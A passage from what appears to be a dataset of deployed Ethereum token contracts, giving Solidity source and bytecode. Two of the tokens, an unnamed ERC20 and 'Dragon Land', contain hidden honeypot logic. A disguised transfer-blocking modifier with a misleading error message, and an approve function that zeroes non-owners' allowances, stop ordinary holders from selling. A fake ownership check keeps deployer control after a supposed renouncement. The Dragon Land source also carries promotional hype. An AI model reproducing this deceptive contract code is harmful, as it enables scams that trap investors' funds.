0473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561168757600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561170657600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561175457600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156117e357600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561183c57600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561189557600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea165627a7a7230582002b438b71dcf7a1d0f8b1bfe9a9e0e988d884541d2d6ccc870be830f0e8463880029
{"success": true, "error": null, "results": {}}
7,646
0x8f96e2f5990fac9af9e286079ce2ab533a4321fe
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_STR(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206ebfe8458d8a81f3e7db3fa1bbc3056792dac55f9aca3cc4a96175637b06fc2f64736f6c63430006060033
{"success": true, "error": null, "results": {}}
7,647
0x72c1874cc9e92890e3346dc3c701bb8d3d7445f9
/** *Submitted for verification at Etherscan.io on 2021-12-11 */ /** TG: t.me/dragonlanderc Metaverse fans, say no more. Dragon Land launches DEC 13 and they have a ton in store. Don't miss this project, it's going to be a major player, I believe we'll see a fantastic launch here. Check out Dragon Land below, it all goes down December 13: ⚔️Dragon Land Metaverse⚔️ 🏹Dragon Land is the first Fantasy Metaverse coming to ERC20. Join us in building a fantasy world where people can buy land, characters, armor and other treasures and fight other players and NPCs in a P2E game. ⚔️Check out our website for more information and our V1 whitepaper. 🏹Audit by Dessert Finance! Web: www.dragonlanderc.com Email: [email protected] Twitter: https://twitter.com/dragonlanderc Whitepaper: www.dragonlanderc.com/whitepaper Dessert Swap: https://dessertswap.finance/audits/DragonLand-ETH-Audit-13754450.pdf */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract DragonLand is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**6* 10**18; string private _name = 'Dragon Land' ; string private _symbol = 'DRAGONLAND '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffff